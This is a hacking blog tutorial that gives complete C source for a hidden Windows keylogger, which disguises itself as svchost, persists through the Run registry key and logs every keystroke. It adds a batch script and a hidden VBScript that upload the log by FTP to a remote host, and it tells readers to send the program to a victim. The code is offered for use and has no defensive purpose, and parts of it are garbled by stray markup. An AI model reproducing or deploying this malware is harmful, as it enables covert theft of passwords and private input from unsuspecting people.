Advertise

Friday 20 September 2013

How to Make your Own Remote FTP Keylogger [Source Code Shared - Compile & Run]

[Image: 1gt36.png]

After Screenshots Hacking Trick, In this Tutorial I am going to tell you How to Make your Own Keylogger First and than How to get all the KeyStrokes via FTP to you. Please note FTP part is already covered by KroKite and i have shared his FTP Hidden Trick above, You can read it first and than come back again here.

Below is C Keylogger Source Code


Code:
#include
#include
#include
#include

#define BUFSIZE 80

int test_key(void);
int create_key(char *);
int get_keys(void);

int main(void)
{
   HWND stealth; /*creating stealth (window is not visible)*/
   AllocConsole();
   stealth=FindWindowA("ConsoleWindowClass",NULL);
   ShowWindow(stealth,0);

   int test,create;
   test=test_key();/*check if key is available for opening*/

   if (test==2)/*create key*/
   {
       char *path="c:\\%windir%\\svchost.exe";/*the path in which the file needs to be*/
       create=create_key(path);

   }

   int t=get_keys();

   return t;
}

int get_keys(void)
{
           short character;
             while(1)
             {
                    sleep(10);/*to prevent 100% cpu usage*/
                    for(character=8;character<=222;character++)
                    {
                        if(GetAsyncKeyState(character)==-32767)
                        {

                            FILE *file;
                            file=fopen("svchost.log","a+");
                            if(file==NULL)
                            {
                                    return 1;
                            }          
                            if(file!=NULL)
                            {      
                                    if((character>=39)&&(character<=64))
                                    {
                                          fputc(character,file);
                                          fclose(file);
                                          break;
                                    }      
                                    else if((character>64)&&(character<91 br="">                                    {
                                          character+=32;
                                          fputc(character,file);
                                          fclose(file);
                                          break;
                                    }
                                    else
                                    {
                                        switch(character)
                                        {
                                              case VK_SPACE:
                                              fputc(' ',file);
                                              fclose(file);
                                              break;  
                                              case VK_SHIFT:
                                              fputs("[SHIFT]",file);
                                              fclose(file);
                                              break;                                          
                                              case VK_RETURN:
                                              fputs("\n[ENTER]",file);
                                              fclose(file);
                                              break;
                                              case VK_BACK:
                                              fputs("[BACKSPACE]",file);
                                              fclose(file);
                                              break;
                                              case VK_TAB:
                                              fputs("[TAB]",file);
                                              fclose(file);
                                              break;
                                              case VK_CONTROL:
                                              fputs("[CTRL]",file);
                                              fclose(file);
                                              break;  
                                              case VK_DELETE:
                                              fputs("[DEL]",file);
                                              fclose(file);
                                              break;
                                              case VK_OEM_1:
                                              fputs("[;:]",file);
                                              fclose(file);
                                              break;
                                              case VK_OEM_2:
                                              fputs("[/?]",file);
                                              fclose(file);
                                              break;
                                              case VK_OEM_3:
                                              fputs("[`~]",file);
                                              fclose(file);
                                              break;
                                              case VK_OEM_4:
                                              fputs("[ [{ ]",file);
                                              fclose(file);
                                              break;
                                              case VK_OEM_5:
                                              fputs("[\\|]",file);
                                              fclose(file);
                                              break;                              
                                              case VK_OEM_6:
                                              fputs("[ ]} ]",file);
                                              fclose(file);
                                              break;
                                              case VK_OEM_7:
                                              fputs("['\"]",file);
                                              fclose(file);
                                              break;                                          
                                              case VK_NUMPAD0:
                                              fputc('0',file);
                                              fclose(file);
                                              break;
                                              case VK_NUMPAD1:
                                              fputc('1',file);
                                              fclose(file);
                                              break;
                                              case VK_NUMPAD2:
                                              fputc('2',file);
                                              fclose(file);
                                              break;
                                              case VK_NUMPAD3:
                                              fputc('3',file);
                                              fclose(file);
                                              break;
                                              case VK_NUMPAD4:
                                              fputc('4',file);
                                              fclose(file);
                                              break;
                                              case VK_NUMPAD5:
                                              fputc('5',file);
                                              fclose(file);
                                              break;
                                              case VK_NUMPAD6:
                                              fputc('6',file);
                                              fclose(file);
                                              break;
                                              case VK_NUMPAD7:
                                              fputc('7',file);
                                              fclose(file);
                                              break;
                                              case VK_NUMPAD8:
                                              fputc('8',file);
                                              fclose(file);
                                              break;
                                              case VK_NUMPAD9:
                                              fputc('9',file);
                                              fclose(file);
                                              break;
                                              case VK_CAPITAL:
                                              fputs("[CAPS LOCK]",file);
                                              fclose(file);
                                              break;
                                              default:
                                              fclose(file);
                                              break;
                                       }      
                                  }  
                             }      
                   }  
               }                

           }
           return EXIT_SUCCESS;                          
}                                              

int test_key(void)
{
   int check;
   HKEY hKey;
   char path[BUFSIZE];
   DWORD buf_length=BUFSIZE;
   int reg_key;

   reg_key=RegOpenKeyEx(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",0,KEY_QUERY_VALUE,&hKey);
   if(reg_key!=0)
   {  
       check=1;
       return check;
   }      

   reg_key=RegQueryValueEx(hKey,"svchost",NULL,NULL,(LPBYTE)path,&buf_length);

   if((reg_key!=0)||(buf_length>BUFSIZE))
       check=2;
   if(reg_key==0)
       check=0;

   RegCloseKey(hKey);
   return check;
}

int create_key(char *path)
{
       int reg_key,check;

       HKEY hkey;

       reg_key=RegCreateKey(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",&hkey);
       if(reg_key==0)
       {
               RegSetValueEx((HKEY)hkey,"svchost",0,REG_SZ,(BYTE *)path,strlen(path));
               check=0;
               return check;
       }
       if(reg_key!=0)
               check=1;

       return check;
}

Save the file with name "myhackkey.c"
Now, Above Code will KeyStroke Everything, and will save your Information in "svchost.log" file, Now we need to First Compile it. I am using Dev C++ for this, therefore, I need to press "Ctrl+F9". If you are using "GCC", than you need to compile it with below given style :-

PHP Code:
c:\> gcc -Wall myhackkey.-o myhackkey 

And than now whenever you will Run this Program it will start keylogging every thing. Now Once log has been made, We need to get this LOG via FTP. For that I will use KroKite Batch Code.

Code:
@echo off
title ScreenShots Logger Virus
cd c:\
echo user hacktrack> ftpcmd.dat
echo my_password>> ftpcmd.dat
echo bin>> ftpcmd.dat
echo put svchost.log >> ftpcmd.dat
echo quit>> ftpcmd.dat
ftp -n -s:ftpcmd.dat my.freehosting.com

SAve this File with name "GetFTP.bat"
And to Hide this FTP Popup Screen he is using small VBScript :-

Code:
Set WshShell = CreateObject("WScript.Shell")
WshShell.Run chr(34) & "c:\GetFTP.bat" & Chr(34), 0
Set WshShell = Nothing

And After Getting All Code Done, Restructure yourself with Proper Code and Style and than send it to your Slave, and than Go For Roller Coaster Ride [Vroom Vroom..]
 
World of Hacker © 2011 Creative Commons License
World of Hacker by KroKite is licensed under a Creative Commons Attribution-ShareAlike 3.0 Unported License.
Based on a work at http://www.worldofhacker.com.
Permissions beyond the scope of this license may be available at https://groups.google.com/forum/#!newtopic/hackerforum.